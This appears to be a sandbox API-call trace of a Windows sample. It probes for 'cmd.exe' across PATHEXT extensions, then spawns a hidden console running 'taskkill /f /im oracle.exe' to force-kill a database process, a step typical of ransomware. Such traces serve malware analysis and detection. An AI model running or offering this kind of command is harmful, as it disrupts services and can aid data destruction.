	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12448a58 | out: lpFileInformation=0x12448a58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.211] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12448aa8 | out: lpFileInformation=0x12448aa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.211] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12448af8 | out: lpFileInformation=0x12448af8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.211] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12448b48 | out: lpFileInformation=0x12448b48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.211] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12448b98 | out: lpFileInformation=0x12448b98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.212] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.212] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12448be8 | out: lpFileInformation=0x12448be8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.212] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.212] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12448c38 | out: lpFileInformation=0x12448c38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.212] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.212] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124405b0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.212] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448c88 | out: lpFileInformation=0x12448c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0035.212] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440680, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.212] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448cd8 | out: lpFileInformation=0x12448cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0035.212] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0035.212] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0035.213] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0035.213] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0035.213] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0035.213] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0035.213] GetEnvironmentStringsW () returned 0x7eb348*
	[0035.213] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0035.214] GetCurrentProcess () returned 0xffffffff
	[0035.214] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238ecd0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238ecd0*=0xbc) returned 1
	[0035.214] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238ecd4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238ecd4*=0xc0) returned 1
	[0035.214] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238ecd8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238ecd8*=0xc4) returned 1
	[0035.214] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im oracle.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12473800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im oracle.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xac, hThread=0xc8, dwProcessId=0xbe4, dwThreadId=0xbe8)) returned 1
	[0035.222] CloseHandle (hObject=0xc8) returned 1
	[0035.222] CloseHandle (hObject=0xc4) returned 1
	[0035.222] CloseHandle (hObject=0xc0) returned 1
	[0035.222] CloseHandle (hObject=0xbc) returned 1
	[0035.222] CloseHandle (hObject=0xb8) returned 1
	[0035.222] CloseHandle (hObject=0xb4) returned 1
	[0035.222] CloseHandle (hObject=0xb0) returned 1
	[0035.222] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0xffffffff) returned 0x0
	[0035.664] SetEvent (hEvent=0xa8) returned 1
	[0035.664] GetExitCodeProcess (in: hProcess=0xac, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0035.664] GetProcessTimes (in: hProcess=0xac, lpCreationTime=0x1238d4a0, lpExitTime=0x1238d4a8, lpKernelTime=0x1238d4b0, lpUserTime=0x1238d4b8 | out: lpCreationTime=0x1238d4a0, lpExitTime=0x1238d4a8, lpKernelTime=0x1238d4b0, lpUserTime=0x1238d4b8) returned 1
	[0035.664] CloseHandle (hObject=0xac) returned 1
	[0035.664] SetEvent (hEvent=0x80) returned 1
	[0035.664] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0035.672] SetEvent (hEvent=0x80) returned 1
	[0035.672] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124088f0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.672] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.673] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fd1d8 | out: lpFileInformation=0x123fd1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.673] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd228 | out: lpFileInformation=0x123fd228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.673] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fd278 | out: lpFileInformation=0x123fd278*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.673] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fd2c8 | out: lpFileInformation=0x123fd2c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.673] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fd318 | out: lpFileInformation=0x123fd318*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.673] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fd368 | out: lpFileInformation=0x123fd368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.673] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.674] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.674] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.674] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fd408 | out: lpFileInformation=0x123fd408*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.674] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.674] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.674] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.674] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fd4a8 | out: lpFileInformation=0x123fd4a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.674] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.674] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fd4f8 | out: lpFileInformation=0x123fd4f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.674] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.674] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124089c0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0035.674] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408a90, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd598 | out: lpFileInformation=0x123fd598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0035.675] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0035.675] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0035.675] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0035.675] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0035.675] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0035.675] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0035.675] GetEnvironmentStringsW () returned 0x7eb348*
	[0035.676] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0035.676] GetCurrentProcess () returned 0xffffffff
	[0035.676] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d5390, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d5390*=0xb8) returned 1
	[0035.676] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d5394, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d5394*=0xbc) returned 1
	[0035.676] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d5398, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d5398*=0xc0) returned 1
